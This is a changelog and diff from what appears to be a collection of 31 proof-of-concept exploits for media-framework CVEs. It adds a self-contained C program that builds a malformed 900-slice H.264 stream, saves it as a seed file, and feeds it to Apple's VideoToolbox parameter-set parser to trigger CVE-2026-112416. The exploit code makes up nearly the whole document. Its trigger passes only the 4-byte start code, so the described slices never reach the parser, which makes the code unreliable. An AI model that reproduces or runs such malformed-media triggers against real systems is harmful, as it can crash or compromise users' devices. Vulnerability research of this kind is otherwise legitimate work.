v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112416/CVE-2026-112416.c

@@ -0,0 +1,72 @@
+// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
+// H.264 slice count beyond the plugin cap
+// C twin of the Swift POC: builds the 900-slice AVC stream and drives it through
+// CMVideoFormatDescriptionCreateFromH264ParameterSets.
+// Build: clang -O2 -o cve-2026-112416 CVE-2026-112416.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
+// Run:   ./cve-2026-112416 [slice-count]
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// ── byte buffer ──
+typedef struct { uint8_t *d; size_t n, cap; } buf;
+static void bneed(buf *b, size_t extra) {
+    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
+}
+static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
+static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
+static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
+
+// ── seed construction (from Cinder27 Sources: VideoPayload.avcManySlices) ──
+static buf avc_many_slices(int slice_count) {
+    buf out = {0};
+    bcat(&out, "\x00\x00\x00\x01", 4);                       // start code
+    bcat(&out, (uint8_t[]){0x67, 0x42, 0x00, 0x1E}, 4);      // SPS
+    bcat(&out, (uint8_t[]){0xE8, 0x38, 0x00}, 3);            // exp-golomb fields
+    brep(&out, 0, 8);                                        // structurally plausible tail
+    bcat(&out, "\x00\x00\x00\x01", 4);
+    bcat(&out, (uint8_t[]){0x68, 0xCE, 0x38, 0x80}, 4);      // PPS
+    for (int i = 0; i < slice_count; i++) {
+        bcat(&out, "\x00\x00\x00\x01", 4);
+        bcat(&out, (uint8_t[]){0x65, (uint8_t)(0x88 | (i & 0x03)), 0x84, 0x00}, 4);   // slice header
+        brep(&out, 0, 4);
+    }
+    return out;
+}
+
+// ── trigger: parameter-set parse through VideoToolbox ──
+#include <VideoToolbox/VideoToolbox.h>
+#include <CoreMedia/CoreMedia.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+int main(int argc, char **argv) {
+    int slice_count = argc > 1 ? atoi(argv[1]) : 900;
+
+    buf data = avc_many_slices(slice_count);
+    FILE *f = fopen("avc_900_slices.h264", "wb");
+    if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
+
+    CMFormatDescriptionRef format = NULL;
+    const uint8_t *ptr = data.d;
+    OSStatus status = CMVideoFormatDescriptionCreateFromH264ParameterSets(
+        kCFAllocatorDefault,
+        1,              // one parameter set: the first 4 bytes, as the Swift POC passes
+        &ptr,
+        (size_t[]){4},
+        4,              // 4-byte NAL unit header length
+        &format);
+
+    printf("CVE-2026-112416 · %d slices in stream · OSStatus %d\n", slice_count, (int)status);
+    if (format) {
+        CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
+        printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
+        CFRelease(format);
+    } else {
+        printf("no format description produced (rejected at entry)\n");
+    }
+    printf("seed: avc_900_slices.h264 (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
+    int rc = status == noErr ? 0 : 1;
+    bfree(&data);
+    return rc;
+}